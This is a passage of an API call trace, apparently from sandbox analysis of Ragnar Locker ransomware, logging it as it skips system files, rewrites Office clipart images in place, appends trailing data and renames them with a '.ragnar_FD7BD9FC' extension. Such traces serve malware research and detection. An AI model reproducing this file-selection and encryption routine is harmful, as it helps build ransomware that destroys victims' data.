Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" [0083.046] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.ragnar_FD7BD9FC" [0083.046] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.046] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x11dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099149.WMF", cAlternateFileName="")) returned 1 [0083.046] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.046] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099149.WMF" | out: lpString1="J0099149.WMF") returned="J0099149.WMF" [0083.046] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned=".WMF" [0083.046] lstrcmpiW (lpString1="J0099149.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.046] lstrcmpiW (lpString1="J0099149.WMF", lpString2="autorun.inf") returned 1 [0083.046] lstrcmpiW (lpString1="J0099149.WMF", lpString2="boot.ini") returned 1 [0083.046] lstrcmpiW (lpString1="J0099149.WMF", lpString2="bootfont.bin") returned 1 [0083.046] lstrcmpiW (lpString1="J0099149.WMF", lpString2="bootsect.bak") returned 1 [0083.046] lstrcmpiW (lpString1="J0099149.WMF", lpString2="bootmgr") returned 1 [0083.046] lstrcmpiW (lpString1="J0099149.WMF", lpString2="bootmgr.efi") returned 1 [0083.046] lstrcmpiW (lpString1="J0099149.WMF", lpString2="bootmgfw.efi") returned 1 [0083.046] lstrcmpiW (lpString1="J0099149.WMF", lpString2="desktop.ini") returned 1 [0083.047] lstrcmpiW (lpString1="J0099149.WMF", lpString2="iconcache.db") returned 1 [0083.047] lstrcmpiW (lpString1="J0099149.WMF", lpString2="ntldr") returned -1 [0083.047] lstrcmpiW (lpString1="J0099149.WMF", lpString2="ntuser.dat") returned -1 [0083.047] lstrcmpiW (lpString1="J0099149.WMF", lpString2="ntuser.dat.log") returned -1 [0083.047] lstrcmpiW (lpString1="J0099149.WMF", lpString2="ntuser.ini") returned -1 [0083.047] lstrcmpiW (lpString1="J0099149.WMF", lpString2="thumbs.db") returned -1 [0083.047] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.047] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.047] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.047] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.047] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.047] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.047] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 0x20 [0083.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.048] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=73214) returned 1 [0083.048] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x11df5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.048] GetProcessHeap () returned 0x580000 [0083.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.048] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.049] VirtualAlloc (lpAddress=0x0, dwSize=0x11dfe, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.050] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.050] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.050] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11dfe, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x11dfe, lpOverlapped=0x0) returned 1 [0083.052] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.052] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11dfe, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.052] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11dfe, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x11dfe, lpOverlapped=0x0) returned 1 [0083.053] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11dfe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.053] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.053] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x11dfe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.053] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.053] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.054] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.054] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.054] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.054] GetProcessHeap () returned 0x580000 [0083.054] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.054] CloseHandle (hObject=0xf4) returned 1 [0083.054] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" [0083.054] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.ragnar_FD7BD9FC" [0083.054] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.055] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x559a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099150.JPG", cAlternateFileName="")) returned 1 [0083.055] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.055] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099150.JPG" | out: lpString1="J0099150.JPG") returned="J0099150.JPG" [0083.055] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned=".JPG" [0083.055] lstrcmpiW (lpString1="J0099150.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.055] lstrcmpiW (lpString1="J0099150.JPG", lpString2="autorun.inf") returned 1 [0083.055] lstrcmpiW (lpString1="J0099150.JPG", lpString2="boot.ini") returned 1 [0083.055] lstrcmpiW (lpString1="J0099150.JPG", lpString2="bootfont.bin") returned 1 [0083.055] lstrcmpiW (lpString1="J0099150.JPG", lpString2="bootsect.bak") returned 1 [0083.055] lstrcmpiW (lpString1="J0099150.JPG", lpString2="bootmgr") returned 1 [0083.055] lstrcmpiW (lpString1="J0099150.JPG", lpString2="bootmgr.efi") returned 1 [0083.055] lstrcmpiW (lpString1="J0099150.JPG", lpString2="bootmgfw.efi") returned 1 [0083.055] lstrcmpiW (lpString1="J0099150.JPG", lpString2="desktop.ini") returned 1 [0083.055] lstrcmpiW (lpString1="J0099150.JPG", lpString2="iconcache.db") returned 1 [0083.055] lstrcmpiW (lpString1="J0099150.JPG", lpString2="ntldr") returned -1 [0083.055] lstrcmpiW (lpString1="J0099150.JPG", lpString2="ntuser.dat") returned -1 [0083.055] lstrcmpiW (lpString1="J0099150.JPG", lpString2="ntuser.dat.log") returned -1 [0083.055] lstrcmpiW (lpString1="J0099150.JPG", lpString2="ntuser.ini") returned -1 [0083.055] lstrcmpiW (lpString1="J0099150.JPG", lpString2="thumbs.db") returned -1 [0083.055] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.055] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.055] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.055] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.055] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.055] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.055] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg")) returned 0x20 [0083.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.056] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21914) returned 1 [0083.056] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5591, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.056] GetProcessHeap () returned 0x580000 [0083.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.056] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.057] VirtualAlloc (lpAddress=0x0, dwSize=0x559a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.058] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.058] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.058] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x559a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x559a, lpOverlapped=0x0) returned 1 [0083.059] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.059] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x559a, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.059] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x559a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x559a, lpOverlapped=0x0) returned 1 [0083.059] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x559a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.059] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.059] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x559a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.060] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.060] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.060] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.060] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.060] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.060] GetProcessHeap () returned 0x580000 [0083.060] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.060] CloseHandle (hObject=0xf4) returned 1 [0083.060] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" [0083.060] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.ragnar_FD7BD9FC" [0083.060] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.061] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x65e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099151.WMF", cAlternateFileName="")) returned 1 [0083.061] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.061] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099151.WMF" | out: lpString1="J0099151.WMF") returned="J0099151.WMF" [0083.061] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned=".WMF" [0083.061] lstrcmpiW (lpString1="J0099151.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.061] lstrcmpiW (lpString1="J0099151.WMF", lpString2="autorun.inf") returned 1 [0083.061] lstrcmpiW (lpString1="J0099151.WMF", lpString2="boot.ini") returned 1 [0083.061] lstrcmpiW (lpString1="J0099151.WMF", lpString2="bootfont.bin") returned 1 [0083.061] lstrcmpiW (lpString1="J0099151.WMF", lpString2="bootsect.bak") returned 1 [0083.061] lstrcmpiW (lpString1="J0099151.WMF", lpString2="bootmgr") returned 1 [0083.061] lstrcmpiW (lpString1="J0099151.WMF", lpString2="bootmgr.efi") returned 1 [0083.061] lstrcmpiW (lpString1="J0099151.WMF", lpString2="bootmgfw.efi") returned 1 [0083.061] lstrcmpiW (lpString1="J0099151.WMF", lpString2="desktop.ini") returned 1 [0083.061] lstrcmpiW (lpString1="J0099151.WMF", lpString2="iconcache.db") returned 1 [0083.061] lstrcmpiW (lpString1="J0099151.WMF", lpString2="ntldr") returned -1 [0083.061] lstrcmpiW (lpString1="J0099151.WMF", lpString2="ntuser.dat") returned -1 [0083.061] lstrcmpiW (lpString1="J0099151.WMF", lpString2="ntuser.dat.log") returned -1 [0083.061] lstrcmpiW (lpString1="J0099151.WMF", lpString2="ntuser.ini") returned -1 [0083.061] lstrcmpiW (lpString1="J0099151.WMF", lpString2="thumbs.db") returned -1 [0083.061] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.061] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.061] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.061] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.061] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.061] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.061] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 0x20 [0083.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.062] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26086) returned 1 [0083.062] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x65dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.062] GetProcessHeap () returned 0x580000 [0083.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.062] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.066] VirtualAlloc (lpAddress=0x0, dwSize=0x65e6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.066] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.066] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.066] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x65e6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x65e6, lpOverlapped=0x0) returned 1 [0083.067] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.068] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x65e6, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.068] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x65e6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x65e6, lpOverlapped=0x0) returned 1 [0083.068] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x65e6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.068] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.068] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x65e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.068] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.068] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.068] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.068] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.068] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.068] GetProcessHeap () returned 0x580000 [0083.069] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.069] CloseHandle (hObject=0xf4) returned 1 [0083.069] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" [0083.069] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.ragnar_FD7BD9FC" [0083.069] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.069] 